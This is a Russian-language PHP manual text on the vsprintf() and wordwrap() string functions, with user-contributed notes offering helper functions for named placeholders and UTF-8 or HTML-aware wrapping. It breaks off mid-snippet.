vsprintf — Возвращает отформатированную строку

Описание

vsprintf(string $format, array $values): string

Работает как sprintf(), но принимает не переменное число аргументов, а массив.

Список параметров

format

Строка формата состоит из нуля или более директив: обычные символы (за исключением %), которые просто выводятся без изменения, и спецификаторы преобразования, каждый из которых требует передачи своего параметра.

Спецификаторы преобразования имеют следующий формат: %[argnum$][flags][width][.precision]specifier.

Argnum

Целое число, за которым следует знак доллара $, чтобы указать, какой числовой аргумент обрабатывать при преобразовании.

Флаги
Флаг | Описание
- Выравнивание по левому краю в пределах заданной ширины поля; По умолчанию выравнивание происходит по правому краю.
+ Печатает плюс + у не отрицательных чисел; По умолчанию знак печатается только у отрицательных чисел.
(space) | Дополняет результат пробелами. Это поведение по умолчанию.
0 | Дополняет числа нулями (только слева). Со спецификатором s также может дополнять нулями справа.
'(char) | Дополняет результат символом (char).

Ширина

Либо целое число, указывающее, сколько символов (минимум) должно получиться в результате преобразования, либо *. Если указано значение *, то ширина задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Точность

Точка ., с последующим целым числом, либо *, значение которого зависит от спецификатора:

  • Для спецификаторов e, E, f и F: задаёт количество цифр после десятичной запятой (по умолчанию 6).
  • Для спецификаторов g,G, h и H: задаёт максимальное значение печатаемых значащих цифр.
  • Для спецификатора s: задаёт ограничение максимального количества символов в строке, которые будут выведены.

Замечание: Если указана точка без последующего значения точности, то точность будет считаться за 0. Если указано значение *, точность задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Спецификаторы
Спецификатор | Описание
% Символ процента. Аргументы не требуются.
b | Аргумент рассматривается как целое число и печатается в бинарном представлении.
c | Аргумент рассматривается как целое число и печатается как символ из таблицы ASCII с соответствующим кодом.
d | Аргумент рассматривается как целое число и печатается как целое число со знаком.
e | Аргумент считается за число в научной нотации (т.е. 1.2e+2).
E | Аналогично спецификатору e, но использует заглавные символы (т.е. 1.2E+2).
f | Аргумент считается за число с плавающей точкой (с учётом локали).
F | Аргумент считается за число с плавающей точкой (без учёта локали).
g

Общий формат.

Пусть P равно точности, если она не равно нулю, 6 — если точность не задана и 1, если точность задана как 0. Тогда, если преобразование со стилем "E" будет иметь показатель степени X:

Если P > X ? ?4, преобразование будет в стиле "f" и точность будет P ? (X + 1). В обратном случае, преобразование будет в стиле "e" и точность будет P ? 1.

G | Аналогично спецификатору g, но использует E и f.
h | Аналогично спецификатору g, но использует F. Доступен с PHP 8.0.0.
H | Аналогично спецификатору g, но использует E и F. Доступен с PHP 8.0.0.
o | Аргумент рассматривается как целое число и печатается в восьмеричном представлении.
s | Аргумент рассматривается и печатается как строка.
u | Аргумент рассматривается как целое число и печатается как беззнаковое целое число.
x | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в нижнем регистре).
X | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в верхнем регистре).

Внимание

Спецификатор c игнорирует значения ширины и дополнения

Внимание

Попытка использовать спецификаторы с указанием ширины для строки в многобайтовой кодировке может привести к неожиданным результатам.

Переменные будут приведены к подходящему для спецификатора типу:

Обработка типов
Тип | Спецификатор
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

Возвращаемые значения

Возвращает значения массива в виде строки, отформатированной в соответствии с параметром format.

Ошибки

Начиная с PHP 8.0.0, если количество аргументов равно нулю, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [width] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [precision] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если аргументов задано меньше, чем требуется, выбрасывается исключение ArgumentCountError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false, если возникла ошибка.
8.0.0 | Выбрасывает исключение ValueError, если количество аргументов равно нулю; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [width] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [precision] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ArgumentCountError, если аргументов задано меньше, чем требуется; ранее функция выдавала ошибку уровня E_WARNING.

Примеры

Пример #1 vsprintf(): дополнение нулями целых чисел

<?php
print vsprintf("%04d-%02d-%02d", explode('-', '1988-8-1'));
?>

Результат выполнения приведённого примера:

1988-08-01

Смотрите также

  • printf() - Выводит отформатированную строку
  • sprintf() - Возвращает отформатированную строку
  • fprintf() - Записывает отформатированную строку в поток
  • vprintf() - Выводит отформатированную строку
  • vfprintf() - Записывает отформатированную строку в поток
  • sscanf() - Разбирает строку в соответствии с заданным форматом
  • fscanf() - Обрабатывает данные из файла в соответствии с форматом
  • number_format() - Форматирует число с группировкой классов многозначного числа
  • date() - Форматирует временную метку Unix

User Contributed Notes

crash 06-Jul-2021 09:03
Note that this function now throws an ValueError* as of PHP 8.0 if there is an error:

$ php -r 'var_dump(vsprintf("%d", []));'
> Fatal error: Uncaught ValueError: The arguments array must contain 1 items, 0 given in Command line code:1

*ValueError is new in PHP 8.0, so if you want to make your code compatible to PHP 7.x you should test that the arguments array has the correct length.
steven at nevvix dot com 02-May-2018 04:14
<?php
/**
 * Return a formatted string like vsprintf() with named placeholders.
 *
 * When a placeholder doesn't have a matching key in `$args`,
 *   the placeholder is returned as is to see missing args.
 * @param string $format
 * @param array $args
 * @param string $pattern
 * @return string
 */
function p($format, array $args, $pattern="/\{(\w+)\}/") {
    return preg_replace_callback($pattern, function ($matches) use ($args) {
        return @$args[$matches[1]] ?: $matches[0];
    }, $format);
}

$args = ["database"=>"people", "user"=>"staff", "pass"=>"pass123", "host"=>"localhost"];

// With PHP-like placeholders: the variable is embedded in a string "{$database}" but without the dollar sign
$format = <<<SQL
CREATE DATABASE IF NOT EXISTS {database};
GRANT ALL PRIVILEGES ON {database_name}.* TO '{user}'@'{host}';
SET PASSWORD = PASSWORD('{pass}');
SQL;
echo p($format, $args);
/*
Result:

CREATE DATABASE IF NOT EXISTS people;
GRANT ALL PRIVILEGES ON {database_name}.* TO 'staff'@'localhost';
SET PASSWORD = PASSWORD('pass123');

The `{database_name}` placeholder doesn't exist as a matching key in `$args` so it's returned as is.
*/

// With Ruby-like placeholders
$format = <<<SQL
CREATE DATABASE IF NOT EXISTS :database;
GRANT ALL PRIVILEGES ON :database_name.* TO ':user'@':host';
SET PASSWORD = PASSWORD(':pass');
SQL;
echo p($format, $args, "/:(\w+)/");
/*
Result:

CREATE DATABASE IF NOT EXISTS people;
GRANT ALL PRIVILEGES ON :database_name.* TO 'staff'@'localhost';
SET PASSWORD = PASSWORD('pass123');

The `:database_name` placeholder doesn't exist as a matching key in `$args` so it's returned as is.
*/
ASchmidt at Anamera dot net 21-Nov-2017 06:58
It's necessary to clearly how to apply argument swapping when using an array of arguments. One might be tempted to use %0$ to reference $args[0].

In reality, the position specifier is always the array index+1:

$args[0]  is referenced by %1$...
$args[1]  is referenced by %2$...
etc.

Similarly, the first subpattern of a RegEx match would be found in $matches[1], the second in $match[2], etc. However if the $matches array is used as arguments to vsprint(), then the position specifier is subpattern+1:

preg_match( $pattern, $subject, $matches );
vsprintf( 'Full Match = %1$s, first Subpattern = %2$s, second Subpattern = %3$s', $matches );
spectrumcat 28-Sep-2016 10:51
Instead of inventing own functions in case you'd like to use array keys as placeholder names and replace corresponding array values in a string, just use the str_replace:

$string = 'Hello %name!';
$data = array(
  '%name' => 'John'
);

$greeting = str_replace(array_keys($data), array_values($data), $string);
dee jay simple zero07 at geemail dawt co 17-Jan-2013 05:03
Using a heredoc with vprintf:

<?php
$string = <<<THESTRING
I like the state of %1\$s <br />
I picked: %2\$d as a number, <br />
I also picked %2\$d as a number again <br />
%3\$s<br />
THESTRING;

$returnText = vprintf(  $string, array('Oregon','7','I Love Oregon')  );

echo $returnText;
?>
Josef Kufner 20-Nov-2012 11:51
<?php
/**
 * Like vsprintf, but accepts $args keys instead of order index.
 * Both numeric and strings matching /[a-zA-Z0-9_-]+/ are allowed.
 *
 * Example: vskprintf('y = %y$d, x = %x$1.1f', array('x' => 1, 'y' => 2))
 * Result:  'y = 2, x = 1.0'
 *
 * $args also can be object, then it's properties are retrieved
 * using get_object_vars().
 *
 * '%s' without argument name works fine too. Everything vsprintf() can do
 * is supported.
 *
 * @author Josef Kufner <jkufner(at)gmail.com>
 */
function vksprintf($str, $args)
{
    if (is_object($args)) {
        $args = get_object_vars($args);
    }
    $map = array_flip(array_keys($args));
    $new_str = preg_replace_callback('/(^|[^%])%([a-zA-Z0-9_-]+)\$/',
            function($m) use ($map) { return $m[1].'%'.($map[$m[2]] + 1).'$'; },
            $str);
    return vsprintf($new_str, $args);
}
?>
www dot wesley at gmail dot com 16-Jun-2008 01:56
vnsprintf is equal to vsprintf except for associative, signed or floating keys.

vnsprintf supports for example "%assocKey$05d", "%-2$'+10s" and "%3.2$05u", vsprintf doesn't

vnsprintf( '%2$d', $array) [2nd value] is equal to vsprintf( '%2$d', $array) [2nd value]
vnsprintf( '%+2$d', $array) [key = 2] is equal to vnsprintf( '%2.0$d', $array) [key = 2]
vnsprintf( '%+2$d', $array) [key = 2] is different of vsprintf( '%+2$d', $array) [unsupported]

When you use signed or floating keys, vnsprintf searchs for the signed truncated key of the original array

Note?: vnsprintf does not support for example "%someKeyf" (floating number, key = someKey) or "%+03d" (signed decimal number, key = 3), you should use "%someKey$f" or "%+03$d" respectively.
Note?: "%+03d" (or "%1$+03d") will be interpreted as signed zero-padded decimal number

<?php
function vnsprintf( $format, array $data)
{
    preg_match_all( '/ (?<!%) % ( (?: [[:alpha:]_-][[:alnum:]_-]* | ([-+])? [0-9]+ (?(2) (?:\.[0-9]+)? | \.[0-9]+ ) ) ) \$ [-+]? \'? .? -? [0-9]* (\.[0-9]+)? \w/x', $format, $match, PREG_SET_ORDER | PREG_OFFSET_CAPTURE);
    $offset = 0;
    $keys = array_keys($data);
    foreach ( $match as &$value )
    {
        if ( ( $key = array_search( $value[1][0], $keys) ) !== FALSE || ( is_numeric( $value[1][0]) && ( $key = array_search( (int)$value[1][0], $keys) ) !== FALSE ) ) {
            $len = strlen( $value[1][0]);
            $format = substr_replace( $format, 1 + $key, $offset + $value[1][1], $len);
            $offset -= $len - strlen( $key);
        }
    }
    return vsprintf( $format, $data);
}

$examples = array(
    2.8=>'positiveFloat',    // key = 2 , 1st value
    -3=>'negativeInteger',    // key = -3 , 2nd value
    'my_name'=>'someString'    // key = my_name , 3rd value
);

echo vsprintf( "%%my_name\$s = '%my_name\$s'\n", $examples);    // [unsupported]
echo vnsprintf( "%%my_name\$s = '%my_name\$s'\n", $examples);    // output : "someString"

echo vsprintf( "%%2.5\$s = '%2.5\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%2.5\$s = '%2.5\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%+2.5\$s = '%+2.5\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%+2.5\$s = '%+2.5\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%-3.2\$s = '%-3.2\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%-3.2\$s = '%-3.2\$s'\n", $examples);        // output : "negativeInteger"

echo vsprintf( "%%2\$s = '%2\$s'\n", $examples);            // output : "negativeInteger"
echo vnsprintf( "%%2\$s = '%2\$s'\n", $examples);            // output : [= vsprintf]

echo vsprintf( "%%+2\$s = '%+2\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%+2\$s = '%+2\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%-3\$s = '%-3\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%-3\$s = '%-3\$s'\n", $examples);        // output : "negativeInteger"
?>
Roadster 30-Sep-2006 07:44
Please note: The same functionality (sortof) can be attained between version 4.0.4 and 4.1.0 using call_user_func_array.

Example:

call_user_func_array("sprintf", $arg)

First element of $arg is the format. This rescued me in a situation where version 4.1.0 wasn't available.
jon at ardentcreative dot co dot uk 17-Feb-2006 03:56
This can be used for quick and dirty internationalization:

<?php
$GLOBALS['strings']['example'] = "There are %d people.";

// Loads a phrase from the translations list in lang/$lang/phrases.php
function t() {
    $args = func_get_args();
    $nArgs = func_num_args();

    $phrase = array_shift($args);
    $nArgs--;

    include_once("../lang/" . lang() . "/phrases.php");
    if (isset($GLOBALS['strings'][$phrase])) {
        return vsprintf($GLOBALS['strings'][$phrase], $args);
    } else {
        return '<span style="color: #ff0000">Untranslated string: ' . $phrase . '</span>';
    }
}
?>
jed at NOSPAM dot jed dot bz 22-May-2004 06:48
vsprintf() accepts arrays with any keys, so the array_shift() technique is unnecessary when writing a printf-type function. Any parameters you require are easily unset from the array you retrieve with func_get_args():

<?php

function mysprintf($format) {
    $args = func_get_args();
    unset($args[0]); /* get rid of "$format" */
    return vsprintf($format, $args);
}

/* I use this technique in production code as follows: */
function logf($target, $string) {
    $args = func_get_args();
    unset($args[0], $args[1]);
    fprintf($GLOBALS['config']['logtargets'][$target],
        "[%s] %s\n", date('H:i'), wordwrap(vsprintf($string, $args), 75, '\n\r '));
}

/* e.g.:
    logf(DEBUG, "Oops! %s", mysql_error());
 */

?>

array_shift() and other costly array operations aren't required, as far as I know. I could be wrong.


Переносит строку по указанному количеству символов

  • « vsprintf
  • Список изменений »
  • PHP Manual
  • Функции для работы со строками
  • Переносит строку по указанному количеству символов

wordwrap

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

wordwrap — Переносит строку по указанному количеству символов

Описание

wordwrap(
string $string,
int $width = 75,
string $break = "\n",
bool $cut_long_words = false
): string

Переносит строку по указанному количеству символов.

Список параметров

string

Входная строка.

width

Количество символов, по которым строка будет перенесена.

break

Символ переноса строки можно указать с помощью необязательного параметра break.

cut_long_words

Если параметр cut_long_words установлен в true, строка всегда будет переноситься на указанной ширине width или раньше. Поэтому, если исходная строка содержит слово длиннее заданной ширины строки, то оно будет разорвано. (Смотрите второй пример). Если установлен в false, функция не разделяет слово, даже если width меньше длины слова.

Возвращаемые значения

Возвращает строку со вставленными символами переноса на указанной длине.

Примеры

Пример #1 Пример использования wordwrap()

<?php
$text = "The quick brown fox jumped over the lazy dog.";
$newtext = wordwrap($text, 20, "<br />\n");

echo $newtext;
?>

Результат выполнения приведённого примера:

The quick brown fox<br />
jumped over the lazy<br />
dog.

Пример #2 Пример использования wordwrap()

<?php
$text = "A very long woooooooooooord.";
$newtext = wordwrap($text, 8, "\n", true);

echo "$newtext\n";
?>

Результат выполнения приведённого примера:

A very
long
wooooooo
ooooord.

Пример #3 Пример использования wordwrap()

<?php
$text = "A very long woooooooooooooooooord. and something";
$newtext = wordwrap($text, 8, "\n", false);

echo "$newtext\n";
?>

Результат выполнения приведённого примера:

A very
long
woooooooooooooooooord.
and
something

Смотрите также

  • nl2br() - Вставляет HTML-код разрыва строки перед каждым переводом строки
  • chunk_split() - Разбивает строку на фрагменты

User Contributed Notes

michdingpayc 30-Jun-2022 07:23
A correction to ju1ius' utf-8 safe wordwrap from 10 years ago.
This version addresses issues where breaks were not being added to the first and last words in the input string.

<?php
function utf8_wordwrap($string, $width=75, $break="\n", $cut=false)
{
  if($cut) {
    // Match anything 1 to $width chars long followed by whitespace,
    // otherwise match anything $width chars long
    $search= '/(.{1,'.$width.'})(?:\s)|(.{'.$width.'})(?!$)/uS';
    $replace = '$1$2'.$break;
  } else {
    // Anchor the beginning of the pattern with a lookbehind
    // to avoid crazy backtracking when words are longer than $width
    $search= '/(?<=\s|^)(.{1,'.$width.'}\S*)(?:\s)/uS';
    $replace = '$1'.$break;
  }
  return preg_replace($search, $replace, $string);
}
?>
answers at clearcrescendo.com 12-Jul-2019 01:38
wordwrap() uses the break string as the line break detected, and the break inserted, so your text must be standardized to the line break you want in the wordwrap() output before using wordwrap, otherwise you will get line breaks inserted regardless of the location of existing line breaks in your text.

<?php
    $linebreak = '<br/>' . PHP_EOL;
    $width = 5;
    $standardized = preg_replace('/\r?\n/',$linebreak, "abc abc abc\nabc abc abc\r\nabc abc abc");
    echo 'Standardized EOL:', PHP_EOL, $standardized, PHP_EOL, PHP_EOL; // PHP_EOL for the command line, use '<br/>' for HTML.
    echo "Wrapped at $width:", PHP_EOL, wordwrap( $standardized, 7, $linebreak), PHP_EOL;
?>

$ php -f test.php
Standardized EOL:
abc abc abc<br/>
abc abc abc<br/>
abc abc abc

Wrapped at 5:
abc abc<br/>
abc<br/>
abc abc<br/>
abc<br/>
abc abc<br/>
abc
tuxedobob 22-May-2017 05:55
It should be noted that the behavior of the $break parameter is poorly explained.

If you specify the $break parameter, then *that string defines what the function considers a "newline"*.

Consider the following string:

$str = "Rumplestiltskin Schwartzmenikoff
1534 Gingerbread Lane
Black Forest, Germany";

You are trying to fit this address into a space that only allows for 22 characters, but you want it clear that you're continuing a previous line, so you want a space added. You might try this:

$str = wordwrap($str, 22, "\n>");

If you did that, you would end up with the following output:

"Rumplestiltskin
>Schwartzmenikoff
1534
>Gingerbread Lane
Black
>Forest, Germany"

This is because when you pass it a third parameter of "\n>", it assumes that entire string is a newline character. It's no longer using "\n". In your output, of course, \n is still a newline, so it appears to have extra lines.

If you're looking to wordwrap a multi-line string with something besides a newline character, make sure all existing linebreaks are already delineated with the string you pass to wordwrap().
simbiat at bk dot ru 08-Oct-2016 09:41
Some people use wordwrap as long text cutter. I have a slightly different approach for that. The function does not wrap the text, but returns the position where to cut. It preserves HTML tags (does not count them) and strips br tags and whitespaces at the end. I am looking into a way prevent HTML tags corruption which can happen at this time and also support BB tags like code and quote, so that they won't be counted as well. When I do, I'll post an updated version of the code.

<?php
function txtcut($string, $length) {
    $tag = false;
    $chars = 0;
    $position = 0;
    $split = str_split($string);
    foreach ($split as $char) {
        $position++;
        if ($char == "<") {
            $tag = true;
            continue;
        }
        if ($char == ">") {
            $tag = false;
            continue;
        }
        if ($tag == true) {
            continue;
        }
        $chars++;
        if ($chars >= $length) {
            if ($char == " " || $char == "\r" || $char == "\n") {
                $position--;
                break;
            }
        }
    }
    if ($position == strlen($string)) {
        return strlen($string);
    } else {
        $string = substr($string, 0, $position);
        if (substr($string, -4, 4) == "<br>") {
            $string = rtrim(substr($string, 0, -4));
        }
        return strlen($string);
    }
}
?>
kozimbek at mail dot ru 02-May-2015 01:17
After searching and being tired of many non-working mb_wordwrap functions at many places, I finally created a really simple and working solution

<?php
function mb_wordwrap($string, $limit)
{
    $string = strip_tags($string); //Strip HTML tags off the text
    $string = html_entity_decode($string); //Convert HTML special chars into normal text
    $string = str_replace(array("\r", "\n"), "", $string); //Also cut line breaks
    if(mb_strlen($string, "UTF-8") <= $limit) return $string; //If input string's length is no more than cut length, return untouched
    $last_space = mb_strrpos(mb_substr($string, 0, $limit, "UTF-8"), " ", 0, "UTF-8"); //Find the last space symbol position

    return mb_substr($string, 0, $last_space, "UTF-8").' ...'; //Return the string's length substracted till the last space and add three points
}
?>

The function simply searches the last space symbol in the range and returns the string cut till that position. No iterations, no regular expressions and no buffer overload. Tested with large Russian texts and works perfectly.
zac dot hester at gmail dot com 12-Mar-2015 02:28
I recently ran into the issue discussed by another contributor to this function (frans-jan at van-steenbeek dot R-E-M-O-V-E dot net).  The problem appeared to be how wordwrap() was treating white space.  Instead of writing my own version of wordwrap(), I discovered that the "break" parameter is not only used as the inserted string, but also used to detect the existing wrap delimiters (e.g. line endings).  If you can manage to "normalize" the wrap delimiters in your original string, you don't need to try to work-around the function wrapping at seemingly odd places (like immediately after one short word).  As one quick-and-dirty way to get wordwrap() to play nicely with most use-cases, I did this:

<?php
$break = strpos( $content, "\r" ) === false ? "\n" : "\r\n";
$content = wordwrap( $content, 78, $break );
?>

I also tend to normalize multi-line strings (if my OCD is acting up).  You would typically perform this conversion _before_ sending it off to wordwrap().

<?php
//quick and simple, but clobbers old-style Mac line-endings
$content = str_replace( "\r", '', $content );

//slower, but works with everything
$content = preg_replace( "/(\r\n|\r)/", "\n", $content );

//now, wordwrap() will behave exactly as expected
$content = wordwrap( $content, 78, "\n" );
?>
Alhadis 08-Jan-2015 12:30
For those interested in wrapping text to fit a width in *pixels* (instead of characters), you might find the following function useful; particularly for line-wrapping text over dynamically-generated images.

If a word is too long to squeeze into the available space, it'll hyphenate it as needed so it fits the container. This operates recursively, so ridiculously long words or names (e.g., URLs or this guy's signature - http://en.wikipedia.org/wiki/Wolfe+585,_Senior) will still keep getting broken off after they've passed the fourth or fifth lines, or whatever.

<?php

    /**
     * Wraps a string to a given number of pixels.
     *
     * This function operates in a similar fashion as PHP's native wordwrap function; however,
     * it calculates wrapping based on font and point-size, rather than character count. This
     * can generate more even wrapping for sentences with a consider number of thin characters.
     *
     * @static $mult;
     * @param string $text - Input string.
     * @param float $width - Width, in pixels, of the text's wrapping area.
     * @param float $size - Size of the font, expressed in pixels.
     * @param string $font - Path to the typeface to measure the text with.
     * @return string The original string with line-breaks manually inserted at detected wrapping points.
     */
    function pixel_word_wrap($text, $width, $size, $font){

        #    Passed a blank value? Bail early.
        if(!$text) return $text;

        #    Check if imagettfbbox is expecting font-size to be declared in points or pixels.
        static $mult;
        $mult    =    $mult ?: version_compare(GD_VERSION, '2.0', '>=') ? .75 : 1;

        #    Text already fits the designated space without wrapping.
        $box    =    imagettfbbox($size * $mult, 0, $font, $text);
        if($box[2] - $box[0] / $mult < $width)    return $text;

        #    Start measuring each line of our input and inject line-breaks when overflow's detected.
        $output        =    '';
        $length        =    0;

        $words        =    preg_split('/\b(?=\S)|(?=\s)/', $text);
        $word_count    =    count($words);
        for($i = 0; $i < $word_count; ++$i){

            #    Newline
            if(PHP_EOL === $words[$i])
                $length    =    0;

            #    Strip any leading tabs.
            if(!$length) $words[$i]    =    preg_replace('/^\t+/', '', $words[$i]);

            $box    =    imagettfbbox($size * $mult, 0, $font, $words[$i]);
            $m        =    $box[2] - $box[0] / $mult;

            #    This is one honkin' long word, so try to hyphenate it.
            if(($diff = $width - $m) <= 0){
                $diff    =    abs($diff);

                #    Figure out which end of the word to start measuring from. Saves a few extra cycles in an already heavy-duty function.
                if($diff - $width <= 0)    for($s = strlen($words[$i]); $s; --$s){
                    $box    =    imagettfbbox($size * $mult, 0, $font, substr($words[$i], 0, $s) . '-');
                    if($width > ($box[2] - $box[0] / $mult) + $size){
                        $breakpoint    =    $s;
                        break;
                    }
                }

                else{
                    $word_length    =    strlen($words[$i]);
                    for($s = 0; $s < $word_length; ++$s){
                        $box    =    imagettfbbox($size * $mult, 0, $font, substr($words[$i], 0, $s+1) . '-');
                        if($width < ($box[2] - $box[0] / $mult) + $size){
                            $breakpoint    =    $s;
                            break;
                        }
                    }
                }

                if($breakpoint){
                    $w_l    =    substr($words[$i], 0, $s+1) . '-';
                    $w_r    =    substr($words[$i],     $s+1);

                    $words[$i]    =    $w_l;
                    array_splice($words, $i+1, 0, $w_r);
                    ++$word_count;
                    $box    =    imagettfbbox($size * $mult, 0, $font, $w_l);
                    $m        =    $box[2] - $box[0] / $mult;
                }
            }

            #    If there's no more room on the current line to fit the next word, start a new line.
            if($length > 0 && $length + $m >= $width){
                $output    .=    PHP_EOL;
                $length    =    0;

                #    If the current word is just a space, don't bother. Skip (saves a weird-looking gap in the text).
                if(' ' === $words[$i]) continue;
            }

            #    Write another word and increase the total length of the current line.
            $output    .=    $words[$i];
            $length +=    $m;
        }

        return $output;
    };

?>
phil_marmotte at yahoo dot fr 13-Jun-2014 01:13
Another Word wrap from left or right :

public static function myWordWrap ($string, $length=3, $wrap=',', $from='left') {
        if ($from=='left') $txt=wordwrap($string, $length, $wrap, true);
            if ($from=='right') {
                $m = strlen($string)%$length;
                if ($m < strlen($string))
                    $txt = substr($string,0,$m).$wrap.wordwrap(substr($string,$m),$length, $wrap, true);
                else
                    $txt = $string;
            }

            return $txt;
       }
maikuolan at gmail dot com 11-Apr-2013 06:23
(Re: kouber at php dot net).

Testing out your function, I can confirm that it works, and it works very well.

However, others that intend to use your function need to be aware that if they use it in conjunction with unverified data (such as raw user input from $_POST, $_GET, etcetera), they are creating potential attack vectors that can be exploited by hackers via script requests containing malicious code. This is because your function is using the preg_replace function in conjunction with the "e" flag (in order to allow the chunk_split bit to execute), which can allow execution of arbitrary code.

Solution: If there is any possibility that $str may contain unverified data (such as raw user input), ensure that the contents of $str is sanitized (such as by using htmlentities/htmlspecialchars/etc) prior to sending it to wrap($str,...).

Not a criticism; I intend to use your function, because I like it. However, just posting this as a note to other users that may not be aware of the importance of data sanitation.
ju1ius 18-Feb-2012 03:58
Another solution to utf-8 safe wordwrap, unsing regular expressions.
Pretty good performance and works in linear time.

<?php
function utf8_wordwrap($string, $width=75, $break="\n", $cut=false)
{
  if($cut) {
    // Match anything 1 to $width chars long followed by whitespace or EOS,
    // otherwise match anything $width chars long
    $search = '/(.{1,'.$width.'})(?:\s|$)|(.{'.$width.'})/uS';
    $replace = '$1$2'.$break;
  } else {
    // Anchor the beginning of the pattern with a lookahead
    // to avoid crazy backtracking when words are longer than $width
    $pattern = '/(?=\s)(.{1,'.$width.'})(?:\s|$)/uS';
    $replace = '$1'.$break;
  }
  return preg_replace($search, $replace, $string);
}
?>
Of course don't forget to use preg_quote on the $width and $break parameters if they come from untrusted input.
info at hsdn dot org 08-Jul-2011 08:41
Wordwrap with UTF-8 supports, returns as array.

<?php

function mb_wordwrap_array($string, $width)
{
    if (($len = mb_strlen($string, 'UTF-8')) <= $width)
    {
        return array($string);
    }

    $return = array();
    $last_space = FALSE;
    $i = 0;

    do
    {
        if (mb_substr($string, $i, 1, 'UTF-8') == ' ')
        {
            $last_space = $i;
        }

        if ($i > $width)
        {
            $last_space = ($last_space == 0) ? $width : $last_space;

            $return[] = trim(mb_substr($string, 0, $last_space, 'UTF-8'));
            $string = mb_substr($string, $last_space, $len, 'UTF-8');
            $len = mb_strlen($string, 'UTF-8');
            $i = 0;
        }

        $i++;
    }
    while ($i < $len);

    $return[] = trim($string);

    return $return;
}

?>
altin_bardhi at yahoo dot co dot uk 27-Jan-2011 04:03
Here I have come out with a possibly very useful wordwrap code snippet.

Apparently what this piece of code does is: it takes the entered text and looks for words longer than the defined '$chunk_length' if it finds any, it splits the long words and then it concatenates the whole string back to a new string with longer words separated by a dash character in this case.

After it has accomplished this task it then inserts an HTML line break after a specified '$line_length' (Depending on your containers width requirements)

<?php

//Start function explode_ wrap
function explode_wrap($text, $chunk_length, $line_length){

//Explode all the words separated by spaces in a string
$string_chunks = explode(' ', $text);

// Get each split word from the array $sring_chunks_array => key => value
foreach ($string_chunks as $chunk => $value) {

if(strlen($value) >= $chunk_length){

//Split the chunks/words which are longer than $chunk_length
$new_string_chunks[$chunk] = chunk_split($value, $chunk_length, ' - ');

}else {

//Do not split the normal length words
$new_string_chunks[$chunk] = $value;

}

}//End foreach loop

//Concatenate back the all the words
$new_text=implode(' ', $new_string_chunks);

return wordwrap($new_text, $line_length, '<br />');

}//End function

?>
nbenitezl[arroba]gmail[dot]com 02-Dec-2010 04:56
Hi, this function is like wordwrap but it ignores html tags, it works like wordwrap when called with fourth parameter as true. It's based on a function I find here but improved to closer match the output of wordwrap (i.e. removed spaces at start of line) and also to improve performance.

Hope it can be useful for you :-)
<?php
function htmlwrap(&$str, $maxLength, $char='<br />'){
    $count = 0;
    $newStr = '';
    $openTag = false;
    $lenstr = strlen($str);
    for($i=0; $i<$lenstr; $i++){
        $newStr .= $str{$i};
        if($str{$i} == '<'){
            $openTag = true;
            continue;
        }
        if(($openTag) && ($str{$i} == '>')){
            $openTag = false;
            continue;
        }
        if(!$openTag){
            if($str{$i} == ' '){
                if ($count == 0) {
                    $newStr = substr($newStr,0, -1);
                    continue;
                } else {
                    $lastspace = $count + 1;
                }
            }
            $count++;
            if($count==$maxLength){
                if ($str{$i+1} != ' ' && $lastspace && ($lastspace < $count)) {
                    $tmp = ($count - $lastspace)* -1;
                    $newStr = substr($newStr,0, $tmp) . $char . substr($newStr,$tmp);
                    $count = $tmp * -1;
                } else {
                    $newStr .= $char;
                    $count = 0;
                }
                $lastspace = 0;
            }
        }
    }

    return $newStr;
}
?>
ojs-hp at web dot de 30-Oct-2009 10:06
After I got some problems with my function to convert a BB-text into HTML. Long words didn't really fit into the layout and only wordwarp() also added breaks to words which would fit into the layout or destroy the other HTML-tags....
So this is my solution. Only words with strlen() >= 40 are edited with wordwarp().

<?php
function bb2html($bb) {
        $words= explode(' ', $bb); // string to array
    foreach ($words as $word) {
        $break = 0;
        for ($i = 0; $i < strlen($word); $i++) {
            if ($break >= 40) {
                $word= wordwrap($word, 40, '-<br>', true); //add <br> every 40 chars
                $break = 0;
            }
            $break++;

        }
        $newText[] = $word; //add word to array
    }
    $bb = implode(' ', $newText); //array to string
    return $bb;
}
?>
Marcin Dobruk [zuku3000 at yahoo dot co dot uk] 15-Jun-2009 02:21
Word wrap from left to right (standard) and from right to left.

<?php
function myWordWrap ($string, $length=3, $wrap=',', $from='left') {
    if ($from=='left') $txt=wordwrap($string, $length, $wrap, true);
    if ($from=='right') {
        // string to array
        $arr_l=array();
        for ($a=0;strlen($string)>$a;$a++) $arr_l[$a]=$string{$a};
        // reverse array
        $arr_r=array_reverse($arr_l);
        // array to string
        $string_r='';
        foreach ($arr_r as $arr_line => $arr) $string_r.=$arr;
        // add wrap to reverse string
        $string_r=wordwrap($string_r, $length, $wrap, true);
        // reverse string to array
